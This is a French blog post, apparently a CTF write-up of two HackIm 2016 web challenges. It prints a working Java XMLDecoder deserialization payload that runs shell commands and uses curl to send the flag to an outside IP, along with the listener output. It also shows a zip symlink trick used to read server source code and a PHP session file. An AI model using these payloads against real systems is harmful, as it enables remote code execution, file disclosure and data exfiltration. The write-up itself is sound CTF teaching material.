HackIm 2016 - Web100 / Web400 - Write-Up

Par Geluchat, mer. 03 février 2016, dans la catégorie L'actualité commentée

CTF, WriteUp

J'ai dernièrement participé avec mon équipe au HackIm, un CTF organisé par la NullCon.

Malgré une organisation catastrophique ainsi que des épreuves de type "devinette", ce CTF nous a proposé des challenges très intéressants dans les catégories Web et Exploitation.

Voici donc un write-up de deux épreuves web que j'ai trouvées enrichissantes.

Web 100 - SignServer 100 pts

Document signature is so hot right now! SignServer provides you with the most advanced solution to sign and verify your documents. We support any document types and provide you with a unique, ultra-secure signature. http://54.174.72.79:9000

Arrivé à l'adresse indiquée nous avons accès à deux services, l'un qui nous permet de signer et l'autre de vérifier une signature.

En envoyant un fichier au hasard (on évite celui qui contient nos mots de passe), on obtient:

<java version="1.8.0_72-internal" class="java.beans.XMLDecoder">
    <object class="models.CTFSignature" id="CTFSignature0">
        <void class="models.CTFSignature" method="getField">
            <string>hash</string>
            <void method="set">
                <object idref="CTFSignature0" />
                <string>86f7e437faa5a7fce15d1ddcb9eaeaea377667b8</string>
            </void>
        </void>
        <void class="models.CTFSignature" method="getField">
            <string>sig</string>
            <void method="set">
                <object idref="CTFSignature0" />
                <string>902d4de8fb705154a1a0107c227b9d510523fa17</string>
            </void>
        </void>
    </object>
</java>

On peut voir que l'objet a été sérialisé en XML et passe dans la moulinette "XML Decoder".

Après quelques recherches sur cette méthode, on apprend qu'elle peut prendre plusieurs objets en même temps.

La méthode ProcessBuilder sur package java.lang nous permet de faire appel à des commandes systèmes.

On envoie donc avec l'option signature cochée :

<java version="1.8.0_72-internal" class="java.beans.XMLDecoder">
    <object class="models.CTFSignature" id="CTFSignature0">
        <void class="models.CTFSignature" method="getField">
            <string>hash</string>
            <void method="set">
                <object idref="CTFSignature0" />
                <string>86f7e437faa5a7fce15d1ddcb9eaeaea377667b8</string>
            </void>
        </void>
        <void class="models.CTFSignature" method="getField">
            <string>sig</string>
            <void method="set">
                <object idref="CTFSignature0" />
                <string>902d4de8fb705154a1a0107c227b9d510523fa17</string>
            </void>
        </void>
    </object>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3" >
            <void index="0"> 
                <string>/bin/sh</string>                                
            </void>     
            <void index="1"> 
                <string>-c</string> 
            </void>
            <void index="2"> 
                <string>/bin/cat flag | /usr/bin/tee /tmp/res;/usr/bin/curl 195.154.70.52:4444/1 --data "@/tmp/res"</string>                                
            </void>             
        </array>                    
        <void method="start"/>
    </object>
</java>

En essayant de créer des commandes j'ai rencontré un problème avec les redirections ('\<','>'), c'est pourquoi ma commande pour extraire le flag est plus complexe qu'un simple reverse shell.

nc -lvp 4444
listening on [any] 4444 ...
connect to [195.154.70.52] from ec2...
flag{ser1l1azati0n_in_CTF_is_fUN}

Web 400 - smashthestate 400 pts

This beautiful website for testing zip files contains a replica of a vulnerability found in a well known bug bounty site. Log in with rob:smashthestate then exploit the vulnerability to gain access to the 'admin' account and the flag. Automated tools and bruteforcing will not help you solve this challenge. http://54.152.101.3

En arrivant sur le challenge, on voit un formulaire de connexion ainsi qu'une page qui nous propose de générer un code envoyé par email à l'administrateur.

Après connexion avec l'utilisateur indiqué rob:smashthestate, on se trouve face à un formulaire d'upload qui prend une archive zip.

On envoie donc un fichier zipé au hasard et on observe que le fichier a été dezippé puis affiché.

Les archives zip sont connues pour être faillibles aux attaques par symlink, on peut donc récupérer le code source de la page :

ln -s /var/www/html/index.php link
zip –symlinks test.zip link

Ce qui donne:

$FAKE_DATABASE = array (
    "rob" => "60df0ab1a78fd0d95a4cfa4b0854931b", // smashthestate
    "admin" => "8e11a50ef762f924d7af9995889873e4",
);
$page = $_GET['page'];

switch ($page) {
    case "login":
        echo "trying to log in";
        $user = $_POST['user'];
        $pass = $_POST['pass'];
        if ($FAKE_DATABASE[$user] === md5($pass)) {
            session_start();
            session_regenerate_id(True);
            $_SESSION['user'] = $user;
            header("Location: ?page=upload");
            die();
        }
        else {
            header("Location: ?");
        }
        break;
    case "admin_login_help":
        session_start();
        if(!isset($_SESSION['login_code']) ){
            $_SESSION['login_code'] = bin2hex(openssl_random_pseudo_bytes(18));
            echo "A login code has been emailed to the administrator. Once you have recieved it, please click here\n";
        }
        else {
            echo "There is already an active login code for this session";
        }
        break;
    case "code_submit":
        session_start();
        $code = $_POST['code'];
        if (isset($code) && isset($_SESSION['login_code'])) {
            if ($code === $_SESSION['login_code'] ){
                echo "Flag: ";
                passthru("sudo /bin/cat /var/www/html/flag");
            }
            else {
                echo "Invalid code";
            }
        }
        else {
            echo "Please input the login code:";
        }
        break;
    case "upload":
        session_start();
        if (!isset($_SESSION['user'])) {
            header("Location: ?");
        }
        else {
            echo "Welcome ".$_SESSION['user'] ." Logout";
            echo "Use this form to verify zip integrity";
        }
        break;
    case "process_upload":
        session_start();
        if (isset($_SESSION['user']) && $_FILES['zipfile']['name']) {


            if ($_FILES['zipfile']['size'] > 16000) {
                echo "File above max size of 10kb";
                echo "back";
                break;
            }
            $tmp_file = '/var/www/html/tmp/upload_'.session_id();

            # ZipArchive may not be available
           # $zip = new ZipArchive;
           # $zip->open($_FILES['zipfile']['name']);
           # $zip->extractTo($tmp_file);
           exec('unzip -o '.$_FILES['zipfile']['tmp_name']. ' -d '.$tmp_file);
            echo "Zip contents: ";
            passthru("cat $tmp_file/* 2>&1");
            exec("rm -rf $tmp_file");
            echo "back";
        }
        break;
    default:
        echo "<html><form action='?page=login' method='POST'>Username: <input name='user'/><br/>Password: <input type='password' name='pass'/><br/><input type='submit' value='Log in'/></form><a href='?page=admin_login_help'>Admin login help</a></html>";
        break;
}

Dans la page, le flag est affiché si notre code généré correspond à la bonne valeur.

Grâce à la faille précédente on récupère notre cookie de session via les commandes :

ln -s /var/lib/php5/sess_71kl18mrbua52acd91jceqmrs4 link
zip –-symlinks test.zip link

Une fois le code affiché il ne reste plus qu'à le mettre dans le formulaire de validation qui nous donne le flag :

Flag: 8e11a50ef762f924d7af9995889873e4

Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.